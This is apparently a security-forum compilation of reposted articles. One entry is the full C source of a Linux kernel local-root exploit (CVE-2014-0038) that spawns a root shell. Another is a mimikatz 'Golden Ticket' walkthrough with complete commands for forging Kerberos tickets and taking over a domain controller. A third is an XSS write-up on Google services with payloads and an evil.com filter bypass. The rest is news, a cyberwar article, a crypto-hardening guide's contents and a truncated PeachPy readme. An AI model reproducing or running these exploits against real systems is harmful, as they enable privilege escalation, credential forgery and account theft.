Nytro

Process Explorer v16.0 By Mark Russinovich Published: January 29, 2014 Download Process Explorer (1,215 KB) [TABLE=class: tableCss] [TR] [TD=class: tableCellRateControlCss][/TD] [/TR] [/TABLE] Introduction Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded. The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded. The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work. Download Download Process Explorer (1,215 KB) Run Process Explorer now from Live.Sysinternals.com Sursa: Process Explorer

iPhone 4s, iPad 2 / 3, iPad mini, iPod touch 5 Jailbroken For Life! By Ben Reid | February 2nd, 2014 Advertisements iOS hacker iH8sn0w has discovered a way to untether jailbreak devices powered by the Apple A5(X) processor for life, which includes the iPhone 4s, iPod touch 5, the iPad 2 / 3 and iPad mini. Details are relatively scarce at this moment regarding the iBoot exploit, although if the exploits were ever bound together and released in the form of a jailbreak utility, those in ownership of either device would be able to enjoy an potentially indefinite, untethered jailbreak. Even though the jailbreak scene is very much a here-and-now kind of pastime in that most enthusiasts are keen to find way to breach the latest versions, it’s always nice to see progress of any kind. And by the sounds of things, this is a pretty significant inroad. Taking to his Twitter feed, iH8sn0w posted A5 AES keys: So looks like all my A5(X) devices are fully untethered and jailbroken for life now. A5 AES Keys anyone? 4S 7.0.4 iBSS -iv 3a0fc879691a5a359973792bcd367277 -k 371e3aea9121d90b8106228bf2b5ee4c638a0b4837fefbd87a3c0aca646e5996 All A5(X) AES Keys will be posted on @icj_’s icj.me/ios/keys as soon as I clean this up a bit more Then, in speaking to fellow hacker Winocm, one of the guys behind p0sixspwn, iH8sn0w offered something of an insight into how exactly he managed to work the magic: This isn’t a bootrom exploit. Still a very powerful iBoot exploit though (when exploited properly ;P /cc @winocm). One follower also noted that iBoot jailbreaks can be patched by Apple on the fly. iH8sn0w responded to this by noting that they can be patched provided that they are released publicly. Also, to further add fuel to this argument, Saurik took to a thread on Reddit to shed some light on the situation: For informational purposes (as many people reading might not appreciate the difference), to get the encryption keys you only need an "iBoot exploit", not a "bootrom exploit". It is easier to find iBoot exploits (being later in the boot sequence, it has a larger attack surface: it has to be able to parse filesystems, for example), and they do afford more power over the device than an untethered userland exploit (in addition to letting you derive firmware encryption keys, you can boot custom kernels, and you might be able to dump the bootrom itself), but they are software updatable as part of new firmware releases from Apple and may have "insane setup requirements" (like, you might pretty much need an already-jailbroken device to actually setup the exploit). You thereby wouldn’t see an iBoot exploit used for a jailbreak (unless everyone is out of ideas for a very long time): instead, you’d see it hoarded away as a "secret weapon" used by jailbreakers to derive these encryption keys, making it easier to find and implement exploits on newer firmware updates for the same device (especially kernel exploits, where even if you have an arbitrary write vulnerability you are "flying blind" and thinking "ok, now where should I write? I can’t see anything… :’("). But the big question is: will the exploit ever go public? Sadly, it won’t, according to a tweet by Winocm. There’s no doubt that this is very exciting news, and we’ll be keeping a close eye on what remains a developing sequence of events, so stay tuned! You can follow us on Twitter, add us to your circle on Google+ or like our Facebook page to keep yourself updated on all the latest from Microsoft, Google, Apple and the Web. Sursa: iPhone 4s, iPad 2 / 3, iPad mini, iPod touch 5 Jailbroken For Life! | Redmond Pie

Two stories about XSS on Google Story 1. The Little Content Type that Could The vulnerability was found in Feedburner. First, I created a feed and tried to inject malicious data. No success there. Injected data just wouldn’t show up, only harmless links were presented. I took a few more attempts and then I found lots of messages from PodMedic. PodMedic examines links in every feed. If it finds troubles in creating a feed, it reports the cause of such troubles. The messages read that links are incorrect because the content type returned was a text type. Hmm. Ok. I bet the content type on this page isn't filtered. A simple script for my server: <?php header('Content-Type: text/<img src=z onerror=alert(document.domain)>; charset=UTF-8'); ?> And here it is: Story 2. The Little Callback that Could The Feedburner vulnerability was not satisfying. It was quite simple, actually. So I decided to try something else. APIs Explorer on developers.google.com caught my attention after some searching. Google’s APIs Explorer is a tool that helps you to explore various Google APIs interactively. Google also says that with the APIs Explorer, we can browse quickly through available APIs and versions, see methods available for each API and what parameters they support along with inline documentation and blah blah blah. In fact I was interested in cross-domain messaging based on postMessage. A link to the Google API that we are testing can be given in the Base parameter: https://developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/ The Base parameter is filtered by certain regular expressions (not quite accurately though) but it is easy to bypass them using a %23 symbol: https://developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/ As a result, an iframe with src=evil.com is created and now we’re waiting for messages from it. Every message should have two tokens. First token is in window.name of the iframe, second is given in location.hash. I sniffed messages from https://webapis-discovery.appspot.com/_ah/api and wrote a page that would send the same messages with valid tokens. It worked nice, and I tried to inject some HTML data. No success though. I could change text, image locations but it would not be enough for XSS. There was a documentation link, the location of which could be changed. So I changed it to javascript:alert(document.domain) and it worked perfect. Still not enough. It required user interaction, but I really don't like it. Users never do what you want them to do (click that wrong link, for instance So I found a page on developers.google.com with the callback function (almost all developers think that callbacks are secure). I added redirection to this page with the callback ‘parent.document.links[0].click’ to my exploit after creating the documentation link via postMessage. (Symbols [ and ] were filtered, so actually the callback was as follows: document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling). Let’s try it: Done! Works fine and no need for user interaction. The exploit was as follows: token_1 = location.hash.split('rpctoken=')[1]; token_2 = window.name; send_payload(data,token_1,token_2); window.setTimeout('document.location=callback_url;',3000); // Paused because of slow internet connection… And of course I made a cool screenshot I liked that method of exploiting and tried to use it in other services. I used it to steal an OAuth token and to buy any app at Google Play using users’ payment details. Besides, the app could automatically be installed on user’s android device. The Google Security Team also liked that technique and they described it on OWASP AppSec Eu as Reverse Clickjacking. ?????: Paul Axe ?? 6:03 Sursa: @Paul_Axe : Two stories about XSS on Google

recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) Detalii: http://seclists.org/oss-sec/2014/q1/187 /* *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) CVE-2014-0038 / x32 ABI with recvmmsg by rebel @ irc.smashthestack.org ----------------------------------- takes about 13 minutes to run because timeout->tv_sec is decremented once per second and 0xff*3 is 765. some things you could do while waiting: * watch 3 times * read https://wiki.ubuntu.com/Security/Features and smirk a few times * brew some coffee * stare at the countdown giggly with anticipation could probably whack the high bits of some pointer with nanoseconds, but that would require a bunch of nulls before the pointer and then reading an oops from dmesg which isn't that elegant. &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes hardcoded offsets because I only saw this on ubuntu & kallsyms is protected anyway.. same principle will work on 32bit but I didn't really find any major distros shipping with CONFIG_X86_X32=y user@ubuntu:~$ uname -a Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg user@ubuntu:~$ ./recvmmsg byte 3 / 3.. ~0 secs left. w00p w00p! # id uid=0(root) gid=0(root) groups=0(root) # sh phalanx-2.6b-x86_64.sh unpacking.. = greets to my homeboys kaliman, beist, capsl & all of #social Sat Feb 1 22:15:19 CET 2014 % rebel % *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/utsname.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define VLEN 1 #define BUFSIZE 200 int port; struct offset { char *kernel_version; unsigned long dest; // net_sysctl_root + 96 unsigned long original_value; // net_ctl_permissions unsigned long prepare_kernel_cred; unsigned long commit_creds; }; struct offset offsets[] = { {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 {NULL,0,0,0,0} }; void udp(int { int sockfd; struct sockaddr_in servaddr,cliaddr; int s = 0xff+1; if(fork() == 0) { while(s > 0) { fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s)); sleep(1); s--; fprintf(stderr,"."); } sockfd = socket(AF_INET,SOCK_DGRAM,0); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); servaddr.sin_port=htons(port); sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); exit(0); } } void trigger() { open("/proc/sys/net/core/somaxconn",O_RDONLY); if(getuid() != 0) { fprintf(stderr,"not root, ya blew it!\n"); exit(-1); } fprintf(stderr,"w00p w00p!\n"); system("/bin/sh -i"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; // thx bliss static int __attribute__((regparm(3))) getroot(void *head, void * table) { commit_creds(prepare_kernel_cred(0)); return -1; } void __attribute__((regparm(3))) trampoline() { asm("mov $getroot, %rax; call *%rax;"); } int main(void) { int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char buf[bUFSIZE]; long mmapped; struct utsname u; struct offset *off = NULL; uname(&u); for(i=0;offsets.kernel_version != NULL;i++) { if(!strcmp(offsets.kernel_version,u.release)) { off = &offsets; break; } } if(!off) { fprintf(stderr,"no offsets for this kernel version..\n"); exit(-1); } mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); mmapped &= 0x000000ffffffffff; srand(time(NULL)); port = (rand() % 30000)+1500; commit_creds = (_commit_creds)off->commit_creds; prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(mmapped == -1) { perror("mmap()"); exit(-1); } memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { perror("mprotect()"); exit(-1); } sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(-1); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(-1); } memset(msgs, 0, sizeof(msgs)); iovecs[0].iov_base = &buf; iovecs[0].iov_len = BUFSIZE; msgs[0].msg_hdr.msg_iov = &iovecs[0]; msgs[0].msg_hdr.msg_iovlen = 1; for(i=0;i < 3 ;i++) { udp(i); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); if(!retval) { fprintf(stderr,"\nrecvmmsg() failed\n"); } } close(sockfd); fprintf(stderr,"\n"); trigger(); } Sursa: [C] recvmmsg.c - Pastebin.com

If This Is Cyberwar, Where Are All the Cyberweapons? The discovery of Stuxnet in 2010 seemed to herald a new age of cyberwar, but that age has yet to materialize. By Paul F. Roberts on January 27, 2014 Like the atomic bomb in the waning days of World War II, the computer virus known as Stuxnet, discovered in 2010, seemed to usher in a new era of warfare. In the era of cyberwar, experts warned, silent, software-based attacks will take the place of explosive ordinance, tanks, and machine guns, or at least set the stage for them. Or maybe not. Almost four years after it was first publicly identified, Stuxnet is an anomaly: the first and only cyberweapon ever known to have been deployed. Now some experts in cybersecurity and critical infrastructure want to know why. Are there fewer realistic targets than suspected? Are such weapons more difficult to construct than realized? Or is the current generation of cyberweapons simply too well hid? Such questions were on the minds of the world’s top experts in the security of industrial control systems last week at the annual S4 conference outside Miami. S4 gathers the world’s top experts on the security of nuclear reactors, power grids, and assembly lines. At S4 there was broad agreement that—long after Stuxnet’s name has faded from the headlines—industrial control systems like the Siemens Programmable Logic Controllers are still vulnerable. Eireann Leverett, a security researcher at the firm IOActive, told attendees at the conference that commonplace security practices in the world of enterprise information technology are still uncommon among vendors who develop industrial control systems (see “Protecting Power Grids from Hackers Is a Huge Challenge”). Leverett noted that modern industrial control systems, which sell for thousands of dollars per unit, often ship with software that lacks basic security controls like user authentication, code signing to prevent unauthorized software updates, or event logging to allow customers to track changes to the device. It is also clear that, in the years since Stuxnet came to light, developed and developing nations alike have seized on cyber operations as a fruitful new avenue for research and development (see “Welcome to the Malware Industrial Complex”). Laura Galante, a former U.S. Department of Defense intelligence analyst who now works for the firm Mandiant, said that the U.S. isn’t just tracking the activities of nations like Russia and China, but also Syria and Stuxnet’s target of choice: Iran. Galante said cyberweapons give smaller, poorer nations a way to leverage asymmetric force against much larger foes. Even so, truly effective cyberweapons require extraordinary expertise. Ralph Langner, perhaps the world’s top authority on the Stuxnet worm, argues that the mere hacking of critical systems doesn’t count as cyberwarfare. For example, Stuxnet made headlines for using four exploits for “zero day” (or previously undiscovered) holes in the Windows operating system. But Langner said the metallurgic expertise needed to understand the construction of Iran’s centrifuges was far more impressive. Those who created Stuxnet needed to know the exact amount of pressure or torque needed to damage aluminum rotors within them, sabotaging the country’s uranium enrichment operation. Concentrating on software-based tools that can cause physical harm sets a much higher bar for discussions of cyberweapons, Langner argues. By that standard, Stuxnet was a true cyberweapon, but the 2012 Shamoon attack against the oil giant Saudi Aramco and other oil companies was not, even though it erased the hard drives of the computers it infected. Some argue that the conditions for using such a destructive cyberweapon simply haven’t arisen again—and aren’t likely to for a while. Operations like Stuxnet—stealth projects designed to slowly degrade Iran’s enrichment capability over years—are the exception rather than the rule, said Thomas Rid of the Department of War Studies at Kings College in London. “There are not too many targets that would lend themselves to a covert campaign as Stuxnet did,” Rid said. Rid told attendees that the quality of the intelligence gathered on a particular target makes the difference between an effective cyberweapon and a flop. It’s also possible that other cyberweapons have been used, but the circumstances surrounding their use are a secret, locked up by governments as “classified” information, or protected by strict nondisclosure agreements. Indeed, Langner, who works with some of the world’s leading industrial firms and governments, said he knows of one other true physical cyberattack, this one tied to a criminal group. But he wouldn’t talk about it. Industrial control professionals and academics complain that the information needed to research future attacks are being kept out of the public domain. And public utilities, industrial firms, and owners of critical infrastructure are just now becoming aware that systems they assumed were cordoned off from the public Internet very often are not. Meanwhile, technology is driving even more rapid and transformative changes as part of what’s called the Internet of things. Ubiquitous Internet connectivity combined with inexpensive and tiny computers and sensors will soon allow autonomous systems to communicate directly with each other (see “Securing the Smart Home, from Toasters to Toilets”). Without proper security features built into industrial products from the get-go, the potential for attacks and physical harm increase dramatically. “If we continue to ignore the problem, we are going to be in deep trouble,” Langner said. Sursa: Where Are All the Cyberweapons? | MIT Technology Review

[h=1]mimikatz - Golden Ticket[/h] [h=2]Introduction[/h] We have a new feature again in mimikatz called Golden Ticket provided by Benjamin Delpy aka gentilkiwi. With this technique, we can basically access any resource in the domain. Here is the list of what you need to make it work: krbtgt user's NTLM hash (e.g. from a previous NTDS.DIT dump) Username that we'd like to impersonate As you can see, exploiting this architectural flaw is not trivial, because we need the NTLM hash of the krbtgt user and that requires hacking a Domain Controller first. But once that is done we can play with it for some time, because the hash of the krbtgt user will not change for a while. As you know mimikatz can dump and replay the existing tickets on Windows, so when we got access to a server or workstation and dumped the tickets we can easily replay those on another computer and get access to the same resource. See Google for more info. Domain name Domain's SID [h=2]Attack[/h] When we have everything from the list above, we can create a new TGT ticket with mimikatz and grant access to anything in the domain. Let's see an example: First we look for a domain administrator: Domain name Domain's SID C:\Users\evilhacker>net group "domain admins" /domain The request will be processed at a domain controller for domain ctu.domain. Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- Administrator schema.Admin Jack.Bauer Administrator is good for us, so we create a TGT ticket with the Kerberos user's hashed password and make it look like as if Administrator asked for an access to a share. Now let's get the Domain SID. Easiest way to do that is just use: "whoami /user" and remove the last part of the SID, or if we have PsTools then PsGetsid.exe come in handy: C:\Users\evilhacker\Documents\mimikatz>PsGetsid.exe CTU.DOMAIN PsGetSid v1.44 - Translates SIDs to names and vice versa Copyright (C) 1999-2008 Mark Russinovich Sysinternals - www.sysinternals.com SID for CTU.DOMAIN\CTU.DOMAIN: S-1-1-12-123456789-1234567890-123456789 Now we have everything to start the attack. First we list the existing Kerberos tickets, if there is any we can those with the purge command (but it is not necessary) and then we can create the Golden Ticket and pass that. C:\Users\evilhacker\Documents\mimikatz>mimikatz.exe .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 21 2014 15:06:17) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 14 modules * * */ mimikatz # kerberos::list [00000000] - 17 Start/End/MaxRenew: 1/24/2014 12:46:49 PM ; 1/24/2014 9:23:28 PM ; 1/31/2014 11:23:28 AM Server Name : krbtgt/CTU.DOMAIN @ CTU.DOMAIN Client Name : evilhacker @ CTU.DOMAIN Flags 60a00000 : pre_authent ; renewable ; forwarded ; forwardable ; ... mimikatz # kerberos::purge Ticket(s) purge for current session is OK mimikatz # kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi Admin : Administrator Domain : CTU.DOMAIN SID : S-1-1-12-123456789-1234567890-123456789 krbtgt : deadbeefboobbabe003133700009999 Ticket : Administrator.kiribi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz # kerberos::ptt Administrator.kiribi Ticket 'Administrator.kiribi' successfully submitted for current session mimikatz # kerberos::list [00000000] - 17 Start/End/MaxRenew: 1/24/2014 12:52:13 PM ; 1/24/2024 12:52:13 PM ; 1/24/2034 12:52:13 PM Server Name : krbtgt/CTU.DOMAIN @ CTU.DOMAIN Client Name : Administrator @ CTU.DOMAIN Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ; mimikatz # kerberos::tgt Keberos TGT of current session : Start/End/MaxRenew: 1/24/2014 12:52:13 PM ; 1/24/2024 12:52:13 PM ; 1 /24/2034 12:52:13 PM Service Name (02) : krbtgt ; CTU.DOMAIN; @ CTU.DOMAIN Target Name (--) : @ CTU.DOMAIN Client Name (01) : Administrator ; @ CTU.DOMAIN Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ; Session Key (17) : 5b 1a f2 fb f2 4d 2c 70 9c 3f 36 80 82 0c 23 37 Ticket (00 - 17) : [...] (NULL session key means allowtgtsessionkey is not set to 1) Now you can mount any share or use any RPC related tool that you like. C:\Users\evilhacker\Documents\mimikatz>net use i: \\dc01.ctu.domain\c$ The command completed successfully. C:\Users\evilhacker\Documents\mimikatz>net use New connections will be remembered. Status Local Remote Network ------------------------------------------------------------------------------- OK I: \\dc01.ctu.domain\c$ Microsoft Windows Network The command completed successfully. OR C:\Users\evilhacker\Documents\pstools>PsExec.exe \\dc01.ctu.domain\ cmd.exe PsExec v2.0 - Execute processes remotely Copyright (C) 2001-2013 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>hostname DC01 C:\Windows\system32>exit cmd.exe exited on dc01.ctu.domain\ with error code 0. Some additional notes: Mimikatz does not require SE_DEBUG or other privilege to create and pass TGT [h=2]Mitigation[/h] I am not aware of any good mitigation for this. Please let me know if you do. [h=2]Greetings[/h] Thanks to Kristof Feiszt for support, Benjamin `gentilkiwi` Delpy for mimikatz [h=2]Author[/h] Balazs Bucsay - mimikatz[!at!]rycon[!dot!]hu - rycon.hu - 2014. 01. 24. Sursa: rycon.hu - mimikatz's Golden Ticket

Applied Crypto Hardening Wolfgang Breyha, David Durvaux, Tobias Dussa, L. Aaron Kaplan, Florian Mendel, Christian Mock, Manuel Koschuch, Adi Kriegisch, Ulrich Pöschl, Ramin Sabet, Berg San, Ralf Schlatterbeck, Thomas Schreck, Aaron Zauner, Pepi Zawodsky (University of Vienna, CERT.be, KIT-CERT, CERT.at, A-SIT/IAIK, coretec.at, FH Campus Wien, VRVis, MilCERT Austria, A-Trust, Runtux.com, Friedrich-Alexander University Erlangen-Nuremberg, azet.org, maclemon.at) Contents 1. Introduction 7 1.1. Audience . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.2. Related publications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.3. How to read this guide . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 1.4. Disclaimer and scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 1.5. Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 2. Practical recommendations 11 2.1. Webservers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.1. Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.1.2. lighttpd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 2.1.3. nginx . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.1.4. MS IIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 2.2. SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.2.1. OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.2.2. Cisco ASA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.2.3. Cisco IOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 2.3. Mail Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.3.1. SMTP in general . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.3.2. Dovecot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 2.3.3. cyrus-imapd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 2.3.4. Postfix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.3.5. Exim (based on 4.82) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 2.4. VPNs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 2.4.1. IPsec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 2.4.2. Check Point FireWall-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 2.4.3. OpenVPN . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 2.4.4. PPTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 2.4.5. Cisco ASA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 2.4.6. Openswan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 2.5. PGP/GPG - Pretty Good Privacy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 2.6. IPMI, ILO and other lights out management solutions . . . . . . . . . . . . . . . . . . . 43 2.7. Instant Messaging Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.7.1. General server configuration recommendations . . . . . . . . . . . . . . . . . . 43 2.7.2. ejabberd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 2.7.3. Chat privacy - Off-the-Record Messaging (OTR) . . . . . . . . . . . . . . . . . . 45 2.7.4. Charybdis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45 2.7.5. SILC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.8. Database Systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.8.1. Oracle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.8.2. MySQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 2.8.3. DB2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 2.8.4. PostgreSQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 5 Draft revision: d6ea268 (2014-01-29 21:09:52 +0100) Pepi Zawodsky Draft revision: d6ea268 (2014-01-29 21:09:52 +0100) Pepi Zawodsky 2.9. Intercepting proxy solutions and reverse proxies . . . . . . . . . . . . . . . . . . . . . 49 2.9.1. squid . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 2.9.2. Pound . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 3. Theory 54 3.1. Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 3.2. Cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 3.2.1. Architectural overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55 3.2.2. Forward Secrecy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 3.2.3. Recommended cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 3.2.4. Compatibility . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 3.2.5. Choosing your own cipher suites . . . . . . . . . . . . . . . . . . . . . . . . . . . 59 3.3. Random Number Generators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 3.3.1. When random number generators fail . . . . . . . . . . . . . . . . . . . . . . . 62 3.3.2. Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 3.3.3. Recommendations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 3.4. Keylengths . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 3.5. A note on Elliptic Curve Cryptography . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 3.6. A note on SHA-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 3.7. A note on Diffie Hellman Key Exchanges . . . . . . . . . . . . . . . . . . . . . . . . . . 66 3.8. Public Key Infrastructures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66 3.8.1. Certificate Authorities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67 3.8.2. Hardening PKI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 A. Tools 70 A.1. SSL & TLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 A.2. Key length . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 A.3. RNGs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 A.4. Guides . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 B. Links 72 C. Suggested Reading 73 D. Cipher Suite Name Cross-Reference 74 E. Further research 83 Download: https://bettercrypto.org/static/applied-crypto-hardening.pdf

[h=1]Portable Efficient Assembly Code-generator in Higher-level Python (PeachPy)[/h] PeachPy is a Python framework for writing high-performance assembly kernels. PeachPy is developed to simplify writing optimized assembly kernels while preserving all optimization opportunities of traditional assembly. Some PeachPy features: Automatic register allocation Stack frame management, including re-aligning of stack frame as needed Generating versions of a function for different calling conventions from the same source (e.g. functions for Microsoft x64 ABI and System V x86-64 ABI can be generated from the same source) Allows to define constants in the place where they are used (just like in high-level languages) Tracking of instruction extensions used in the function. Multiplexing of multiple instruction streams (helpful for software pipelining) [h=2]Installation[/h] PeachPy can be installed from PyPI pip install PeachPy from peachpy.x64 import *# Use 'x64-ms' for Microsoft x64 ABI abi = peachpy.c.ABI('x64-sysv') assembler = Assembler(abi) # Implement function void add_1(const uint32_t *src, uint32_t *dst, size_t length) src_argument = peachpy.c.Parameter("src", peachpy.c.Type("const uint32_t*")) dst_argument = peachpy.c.Parameter("dst", peachpy.c.Type("uint32_t*")) len_argument = peachpy.c.Parameter("length", 